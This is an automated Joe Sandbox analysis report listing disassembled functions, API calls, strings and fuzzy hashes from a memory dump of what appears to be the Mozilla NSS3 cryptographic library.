Instruction ID: b06583cf9779b7b5757439445ae5e8d856c7c1ecafd913e7cef4f2d9c72699cf
Opcode Fuzzy Hash: d5613ac35bfc06632e7dce67051d9021cf196c0f33c4cab0c4027176339803f5
Instruction Fuzzy Hash: 8601F9B5D08661AFFF30AFB4BC09B4D3BBC6B06314F410124EA0997240E3F1904547E6

Function 6D0C1C40 Relevance: 10.5, APIs: 2, Strings: 4, Instructions: 45COMMON

Download Yara Rule

APIs

sqlite3_mprintf.NSS3(non-deterministic use of %s() in %s,?,a CHECK constraint,6CFC3D77,?,?,6CFC4E1D), ref: 6D0C1C8A
sqlite3_free.NSS3(00000000), ref: 6D0C1CB6

Strings

non-deterministic use of %s() in %s, xrefs: 6D0C1C85
an index, xrefs: 6D0C1C67
a CHECK constraint, xrefs: 6D0C1C76, 6D0C1C81
a generated column, xrefs: 6D0C1C6C

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: sqlite3_freesqlite3_mprintf
String ID: a CHECK constraint$a generated column$an index$non-deterministic use of %s() in %s
API String ID: 1840970956-3705377941
Opcode ID: 5d3581a1e8e394a24593c5d48ba8f8fc7175a725405ad7ffbb3471ff73b05b40
Instruction ID: 67258d971529969de5418e6198f554f80baa5d42fc56a3ec4737c52cf3e0bd55
Opcode Fuzzy Hash: 5d3581a1e8e394a24593c5d48ba8f8fc7175a725405ad7ffbb3471ff73b05b40
Instruction Fuzzy Hash: F50124B5A001005BD700BB2CD441AB577E6EF8634CB14487DE9449B306EF72E85687A2

Function 6D072E50 Relevance: 9.3, APIs: 6, Instructions: 251COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00000000), ref: 6D073046

Part of subcall function 6D05EE50: PR_SetError.NSS3(FFFFE013,00000000), ref: 6D05EE85

PK11_AEADOp.NSS3(?,00000004,?,?,?,?,?,00000000,?,B8830845,?,?,00000000,6D047FFB), ref: 6D07312A
memcpy.VCRUNTIME140(00000000,?,?), ref: 6D073154
PR_SetError.NSS3(FFFFE001,00000000), ref: 6D072E8B

Part of subcall function 6D07C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6D07C2BF

Part of subcall function 6D05F110: PR_SetError.NSS3(FFFFE013,00000000,00000000,0000A48E,00000000,?,6D049BFF,?,00000000,00000000), ref: 6D05F134

memcpy.VCRUNTIME140(8B3C75C0,?,6D047FFA), ref: 6D072EA4
PR_SetError.NSS3(FFFFE005,00000000), ref: 6D07317B

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: Error$memcpy$K11_Value
String ID:
API String ID: 2334702667-0
Opcode ID: cc5fe89e1381a411194b6cbc0d11f914b2e3b9353dceb184d9bba5ae34d3935b
Instruction ID: 860fe7f68adc9412e8e1a8f1ed5d2569fac88c1f715e9c5e697a8e45d9455c6c
Opcode Fuzzy Hash: cc5fe89e1381a411194b6cbc0d11f914b2e3b9353dceb184d9bba5ae34d3935b
Instruction Fuzzy Hash: FFA19C71A002199FEB24CF54CC80BAEB7B5EF49304F0580A9ED49AB341E771A995CFA5

Function 6D03ED00 Relevance: 9.2, APIs: 6, Instructions: 228memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(?,00000000), ref: 6D03ED6B
PORT_Alloc_Util.NSS3(00000000), ref: 6D03EDCE

Part of subcall function 6D030BE0: malloc.MOZGLUE(6D028D2D,?,00000000,?), ref: 6D030BF8
Part of subcall function 6D030BE0: TlsGetValue.KERNEL32(6D028D2D,?,00000000,?), ref: 6D030C15

free.MOZGLUE(00000000,?,?,?,?,6D03B04F), ref: 6D03EE46
PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6D03EECA
PORT_ArenaAlloc_Util.NSS3(?,0000000C), ref: 6D03EEEA
PORT_ArenaAlloc_Util.NSS3(?,00000008), ref: 6D03EEFB

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: Alloc_Util$Arena$Valuefreemalloc
String ID:
API String ID: 3768380896-0
Opcode ID: 8c36f2c17140ece314a07e0b920e517f7f6fb3f1a87740d37110f91040fcee99
Instruction ID: 7bdfce20fb307fc57caa987beac5c47e85aef3b7def05f5170931b27aaae2cfd
Opcode Fuzzy Hash: 8c36f2c17140ece314a07e0b920e517f7f6fb3f1a87740d37110f91040fcee99
Instruction Fuzzy Hash: B98158B5A002179FEB14CF59D884BAB7BF5BF88304F064628E925DB251DB71EC14CBA1

Function 6D03CCF0 Relevance: 9.2, APIs: 6, Instructions: 171memorythreadCOMMON

Download Yara Rule

APIs

Part of subcall function 6D03C6B0: SECOID_FindOID_Util.NSS3(00000000,00000004,?,6D03DAE2,?), ref: 6D03C6C2

PR_Now.NSS3 ref: 6D03CD35

Part of subcall function 6D099DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6D0E0A27), ref: 6D099DC6
Part of subcall function 6D099DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6D0E0A27), ref: 6D099DD1
Part of subcall function 6D099DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6D099DED

Part of subcall function 6D026C00: PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6CFD1C6F,00000000,00000004,?,?), ref: 6D026C3F

PR_GetCurrentThread.NSS3 ref: 6D03CD54

Part of subcall function 6D099BF0: TlsGetValue.KERNEL32(?,?,?,6D0E0A75), ref: 6D099C07

Part of subcall function 6D027260: PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6CFD1CCC,00000000,00000000,?,?), ref: 6D02729F

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6D03CD9B
PORT_ArenaGrow_Util.NSS3(00000000,?,?,?), ref: 6D03CE0B
PORT_ArenaAlloc_Util.NSS3(00000000,00000010), ref: 6D03CE2C

Part of subcall function 6D0310C0: TlsGetValue.KERNEL32(?,6CFD8802,00000000,00000008,?,6CFCEF74,00000000), ref: 6D0310F3
Part of subcall function 6D0310C0: EnterCriticalSection.KERNEL32(?,?,6CFD8802,00000000,00000008,?,6CFCEF74,00000000), ref: 6D03110C
Part of subcall function 6D0310C0: PL_ArenaAllocate.NSS3(?,?,?,6CFD8802,00000000,00000008,?,6CFCEF74,00000000), ref: 6D031141
Part of subcall function 6D0310C0: PR_Unlock.NSS3(?,?,?,6CFD8802,00000000,00000008,?,6CFCEF74,00000000), ref: 6D031182
Part of subcall function 6D0310C0: TlsGetValue.KERNEL32(?,6CFD8802,00000000,00000008,?,6CFCEF74,00000000), ref: 6D03119C

PORT_ArenaMark_Util.NSS3(00000000), ref: 6D03CE40

Part of subcall function 6D0314C0: TlsGetValue.KERNEL32 ref: 6D0314E0
Part of subcall function 6D0314C0: EnterCriticalSection.KERNEL32 ref: 6D0314F5
Part of subcall function 6D0314C0: PR_Unlock.NSS3 ref: 6D03150D

Part of subcall function 6D03CEE0: PORT_ArenaMark_Util.NSS3(?,6D03CD93,?), ref: 6D03CEEE
Part of subcall function 6D03CEE0: PORT_ArenaAlloc_Util.NSS3(?,00000018,?,6D03CD93,?), ref: 6D03CEFC
Part of subcall function 6D03CEE0: SECOID_FindOIDByTag_Util.NSS3(00000023,?,?,?,6D03CD93,?), ref: 6D03CF0B
Part of subcall function 6D03CEE0: SECITEM_CopyItem_Util.NSS3(?,00000000,00000000,?,?,?,?,6D03CD93,?), ref: 6D03CF1D

Part of subcall function 6D03CEE0: PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,?,?,?,?,?,6D03CD93,?), ref: 6D03CF47
Part of subcall function 6D03CEE0: PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,?,?,?,?,?,6D03CD93,?), ref: 6D03CF67
Part of subcall function 6D03CEE0: SECITEM_CopyItem_Util.NSS3(?,00000000,6D03CD93,?,?,?,?,?,?,?,?,?,?,?,6D03CD93,?), ref: 6D03CF78

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_Value$Item_Time$CopyCriticalEnterErrorFindMark_SectionSystemUnlock$AllocateCurrentFileGrow_Tag_ThreadUnothrow_t@std@@@Zfree__ehfuncinfo$??2@
String ID:
API String ID: 3748922049-0
Opcode ID: b8e2c2b24f8a50f1604dfa2f341028c87daee5ddf82212c62f03938692951c4b
Instruction ID: 53c61f978b4ab8104a6ca3e61982b96528ee1a8da2bbe5a1241b77177f9bb81d
Opcode Fuzzy Hash: b8e2c2b24f8a50f1604dfa2f341028c87daee5ddf82212c62f03938692951c4b
Instruction Fuzzy Hash: 6751AFB6A042329BFB10DF69DC40BAA77E4AF48344F174424D959EB350EB31ED41CB95

Function 6D04FFD0 Relevance: 9.1, APIs: 6, Instructions: 132COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFD076,00000000), ref: 6D04FFE5

Part of subcall function 6D07C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6D07C2BF

PR_EnterMonitor.NSS3(?), ref: 6D050004
PR_EnterMonitor.NSS3(?), ref: 6D05001B

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: EnterMonitor$ErrorValue
String ID:
API String ID: 3413098822-0
Opcode ID: dd5fa2549258a9eea8568425173762f68cf2e6903f475b7ad1106e1c3a56c3c2
Instruction ID: c94b9a2fe90bda363cb865306684fc94ef78f44ce9848c2553ab0744a82faaf2
Opcode Fuzzy Hash: dd5fa2549258a9eea8568425173762f68cf2e6903f475b7ad1106e1c3a56c3c2
Instruction Fuzzy Hash: C041427420C6008BF7304A2ADE517AE72E1EB4030CF44493DED4BCB694E3B9A565C64B

Function 6D00EEF0 Relevance: 9.1, APIs: 6, Instructions: 124threadCOMMON

Download Yara Rule

APIs

PK11_Authenticate.NSS3(?,00000001,00000004), ref: 6D00EF38

Part of subcall function 6CFF9520: PK11_IsLoggedIn.NSS3(00000000,?,6D02379E,?,00000001,?), ref: 6CFF9542

PK11_Authenticate.NSS3(?,00000001,?), ref: 6D00EF53

Part of subcall function 6D014C20: TlsGetValue.KERNEL32 ref: 6D014C4C
Part of subcall function 6D014C20: EnterCriticalSection.KERNEL32(?), ref: 6D014C60
Part of subcall function 6D014C20: PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?), ref: 6D014CA1
Part of subcall function 6D014C20: TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 6D014CBE
Part of subcall function 6D014C20: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 6D014CD2
Part of subcall function 6D014C20: realloc.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6D014D3A

PR_GetCurrentThread.NSS3 ref: 6D00EF9E

Part of subcall function 6D099BF0: TlsGetValue.KERNEL32(?,?,?,6D0E0A75), ref: 6D099C07

free.MOZGLUE(00000000), ref: 6D00EFC3
PR_SetError.NSS3(FFFFE001,00000000), ref: 6D00F016
free.MOZGLUE(00000000), ref: 6D00F022

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: K11_Value$AuthenticateCriticalEnterSectionfree$CurrentErrorLoggedThreadUnlockrealloc
String ID:
API String ID: 2459274275-0
Opcode ID: d3f42480ee82029b7cf17b5793b596db288b70e02b5022fcf0eb37150cfb41e7
Instruction ID: 245f3cb7a0686ae1145e419747912b1bdf71a900f2d5923df3ff8c16e1ec3a9a
Opcode Fuzzy Hash: d3f42480ee82029b7cf17b5793b596db288b70e02b5022fcf0eb37150cfb41e7
Instruction Fuzzy Hash: 294172B1E0010AABFF018FA9DC45BEE7BB9AF48358F044025FA14A7250E772C9159BA5

Function 6CFFCF40 Relevance: 9.1, APIs: 6, Instructions: 112memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(00000060), ref: 6CFFCF80
SECITEM_DupItem_Util.NSS3(?), ref: 6CFFD002
PR_SetError.NSS3(FFFFE005,00000000,00000000,00000000,?,00000000), ref: 6CFFD016
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CFFD025
PR_NewLock.NSS3 ref: 6CFFD043
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6CFFD074

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: ErrorUtil$Alloc_ContextDestroyItem_K11_Lock
String ID:
API String ID: 3361105336-0
Opcode ID: 6494615dd26762a3a95c586ce36db836e15b8ffbb1b8ec30ce39d16e4c0e6e86
Instruction ID: 621944307ba4157d0ccfbc87a18b731d7cf7defeed6238b8f0d1eae745b4f0bd
Opcode Fuzzy Hash: 6494615dd26762a3a95c586ce36db836e15b8ffbb1b8ec30ce39d16e4c0e6e86
Instruction Fuzzy Hash: 2D41D6B1A053119FEB10DF29C88479BBBE4EF08318F114169DD298F7AAD774D486CBA1

Function 6D043FD0 Relevance: 9.1, APIs: 6, Instructions: 106memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6D043FF2

Part of subcall function 6D0314C0: TlsGetValue.KERNEL32 ref: 6D0314E0
Part of subcall function 6D0314C0: EnterCriticalSection.KERNEL32 ref: 6D0314F5
Part of subcall function 6D0314C0: PR_Unlock.NSS3 ref: 6D03150D

PORT_ArenaMark_Util.NSS3(?), ref: 6D044001
PORT_ArenaAlloc_Util.NSS3(?,00000074), ref: 6D04400F

Part of subcall function 6D0310C0: TlsGetValue.KERNEL32(?,6CFD8802,00000000,00000008,?,6CFCEF74,00000000), ref: 6D0310F3
Part of subcall function 6D0310C0: EnterCriticalSection.KERNEL32(?,?,6CFD8802,00000000,00000008,?,6CFCEF74,00000000), ref: 6D03110C
Part of subcall function 6D0310C0: PL_ArenaAllocate.NSS3(?,?,?,6CFD8802,00000000,00000008,?,6CFCEF74,00000000), ref: 6D031141
Part of subcall function 6D0310C0: PR_Unlock.NSS3(?,?,?,6CFD8802,00000000,00000008,?,6CFCEF74,00000000), ref: 6D031182
Part of subcall function 6D0310C0: TlsGetValue.KERNEL32(?,6CFD8802,00000000,00000008,?,6CFCEF74,00000000), ref: 6D03119C

CERT_CertChainFromCert.NSS3(?,00000004,00000000), ref: 6D044054

Part of subcall function 6CFDBB90: PORT_NewArena_Util.NSS3(00001000), ref: 6CFDBC24
Part of subcall function 6CFDBB90: PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6CFDBC39
Part of subcall function 6CFDBB90: PORT_ArenaAlloc_Util.NSS3(00000000), ref: 6CFDBC58
Part of subcall function 6CFDBB90: SECITEM_CopyItem_Util.NSS3(?,?,00000000), ref: 6CFDBCBE

PR_SetError.NSS3(FFFFE005,00000000), ref: 6D044070
NSS_CMSSignedData_Destroy.NSS3(00000000), ref: 6D0440CD

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_Value$CertCriticalEnterMark_SectionUnlock$AllocateArena_ChainCopyData_DestroyErrorFromItem_Signed
String ID:
API String ID: 3882640887-0
Opcode ID: 8565db44def4394cf1c4ce5b1bb8f6a2474b8ca5098013b0b962094d5317ff05
Instruction ID: 5605cb71a29ca41aa63d541f202bd135e429483f2a1f1f1b3afbf38df6599aa2
Opcode Fuzzy Hash: 8565db44def4394cf1c4ce5b1bb8f6a2474b8ca5098013b0b962094d5317ff05
Instruction Fuzzy Hash: 9631CB71E04352E7FB009F64DC41F7E33A4AF98708F058235EE085B246F7B1E9648292

Function 6CFE2E60 Relevance: 9.1, APIs: 6, Instructions: 105COMMON

Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3(?,00000000,00000001,00000000,?,?,6CFD2D1A), ref: 6CFE2E7E

Part of subcall function 6D0307B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6CFD8298,?,?,?,6CFCFCE5,?), ref: 6D0307BF
Part of subcall function 6D0307B0: PL_HashTableLookup.NSS3(?,?), ref: 6D0307E6
Part of subcall function 6D0307B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6D03081B
Part of subcall function 6D0307B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6D030825

PR_Now.NSS3 ref: 6CFE2EDF
CERT_FindCertIssuer.NSS3(?,00000000,?,0000000B), ref: 6CFE2EE9
SECOID_FindOID_Util.NSS3(-000000D8,?,?,?,?,6CFD2D1A), ref: 6CFE2F01
CERT_DestroyCertificate.NSS3(?,?,?,?,?,?,6CFD2D1A), ref: 6CFE2F50
SECITEM_CopyItem_Util.NSS3(?,?,?), ref: 6CFE2F81

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: FindUtil$ErrorHashLookupTable$CertCertificateConstCopyDestroyIssuerItem_
String ID:
API String ID: 287051776-0
Opcode ID: 6b467407cb95a1ae026b0ee79dd1b2f7e38d058143e2b848c32e4eb652019a89
Instruction ID: c1149d20c0ec90fbe1f1ba1e9f87e8004384736cfe20d6837ecc3ea6095a2c0e
Opcode Fuzzy Hash: 6b467407cb95a1ae026b0ee79dd1b2f7e38d058143e2b848c32e4eb652019a89
Instruction Fuzzy Hash: 08314671606186ABF710C655DC88FBFB269EF88318F240A79D52D879D0FB339886C612

Function 6CFD0E00 Relevance: 9.1, APIs: 6, Instructions: 101memoryCOMMON

Download Yara Rule

APIs

CERT_DecodeAVAValue.NSS3(?,?,6CFD0A2C), ref: 6CFD0E0F
PORT_ArenaAlloc_Util.NSS3(?,00000001,?,?,6CFD0A2C), ref: 6CFD0E73
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,6CFD0A2C), ref: 6CFD0E85
PORT_ZAlloc_Util.NSS3(00000001,?,?,6CFD0A2C), ref: 6CFD0E90
free.MOZGLUE(00000000), ref: 6CFD0EC4
SECITEM_ZfreeItem_Util.NSS3(?,00000001,?,?,?,6CFD0A2C), ref: 6CFD0ED9

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: Util$Alloc_$ArenaDecodeItem_ValueZfreefreememset
String ID:
API String ID: 3618544408-0
Opcode ID: cb9364a68da4adb4a0a4820adce34988a74fbfc03accb1e8a146a5be8fa7e93b
Instruction ID: b03399a842c46acd02ad1f521587b30de0b0623dbfc2c9f8029a5fa0a77307ef
Opcode Fuzzy Hash: cb9364a68da4adb4a0a4820adce34988a74fbfc03accb1e8a146a5be8fa7e93b
Instruction Fuzzy Hash: C2210E73E042875BFB1049669C45BEBB6AEDFC1748F1F4435D91C97602EBE0E85482A2

Function 6CFE88D0 Relevance: 9.1, APIs: 6, Instructions: 97memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,00000000,00000000,?,6CFF0725,00000000,00000058), ref: 6CFE8906
EnterCriticalSection.KERNEL32(?), ref: 6CFE891A
PL_ArenaAllocate.NSS3(?,?), ref: 6CFE894A
calloc.MOZGLUE(00000001,6CFF072D,00000000,00000000,00000000,?,6CFF0725,00000000,00000058), ref: 6CFE8959
memset.VCRUNTIME140(?,00000000,?), ref: 6CFE8993
PR_Unlock.NSS3(?), ref: 6CFE89AF

Part of subcall function 6CFC07A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CF5204A), ref: 6CFC07AD
Part of subcall function 6CFC07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CF5204A), ref: 6CFC07CD
Part of subcall function 6CFC07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CF5204A), ref: 6CFC07D6
Part of subcall function 6CFC07A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CF5204A), ref: 6CFC07E4
Part of subcall function 6CFC07A0: TlsSetValue.KERNEL32(00000000,?,6CF5204A), ref: 6CFC0864
Part of subcall function 6CFC07A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CFC0880
Part of subcall function 6CFC07A0: TlsSetValue.KERNEL32(00000000,?,?,6CF5204A), ref: 6CFC08CB
Part of subcall function 6CFC07A0: TlsGetValue.KERNEL32(?,?,6CF5204A), ref: 6CFC08D7
Part of subcall function 6CFC07A0: TlsGetValue.KERNEL32(?,?,6CF5204A), ref: 6CFC08FB

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: Value$calloc$AllocateArenaCriticalEnterSectionUnlockmemset
String ID:
API String ID: 1716546843-0
Opcode ID: ebbd87e5cee85d23efa7745ce9e6fcafbd83deba1097d4919e91474727e4c25c
Instruction ID: a189c0112457953abe28c333a21079c6720b3c1240ddbe4f6424d6171c86f744
Opcode Fuzzy Hash: ebbd87e5cee85d23efa7745ce9e6fcafbd83deba1097d4919e91474727e4c25c
Instruction Fuzzy Hash: 00312672E00115BBD700AF2CDC41A5AB7A8BF49B58F158226ED1CDB741E732E985C7D2

Function 6CFDAE50 Relevance: 9.1, APIs: 6, Instructions: 85COMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6CFDAEB3
SEC_ASN1EncodeUnsignedInteger_Util.NSS3(00000000,?,00000000), ref: 6CFDAECA
